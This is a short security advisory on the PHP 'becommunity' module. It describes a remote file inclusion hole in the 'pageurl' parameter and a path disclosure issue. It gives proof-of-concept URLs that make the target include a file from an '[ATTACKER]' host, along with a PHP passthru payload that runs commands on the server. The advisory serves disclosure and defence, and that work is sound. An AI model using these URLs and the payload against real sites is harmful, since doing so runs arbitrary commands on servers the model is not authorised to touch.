Vulnerabilities:

~~~~~~~~~~~~~~~~

1. Remote Command Execution

Remote command execution on 'becommunity' (modules that support by BBS e-market

professional) makes insecure calls to the include() function of PHP (works

on " pageurl= " functions ) which can allow the inclusion of remote files,

and thereby the execution of arbitrary commands by remote user with the web

server user permissions, usually 'nobody' .

http://[TARGET]/becommunity/community/index.php?from_market=Y&pageurl=[i
njection URL]

POC=

http://[TARGET]/becommunity/community/index.php?pageurl=http://[ATTACKER
]/echo.txt?

http://[TARGET]/becommunity/community/index.php?from_market=Y&pageurl=ht
tp://[ATTACKER]/echo.txt?

------------------------------------------------------------------------

Exploit :

~~~~~~~~~

-------------------------------- cut -------------------------------------

<?

echo "".passthru(' ls -la ; id ')."";

?>

---------------------------------- cut ------------------------------------

save on attacker URL with name: echo.txt , to get a listing of file or directories ,

with user id that we got

------------------------------------------------------------------------

2. Full Path disclosure

A remote user can access the file to cause the system to display an error

message that indicates the installation path. The resulting error message

will disclose potentially sensitive installation path information to the

remote attacker.
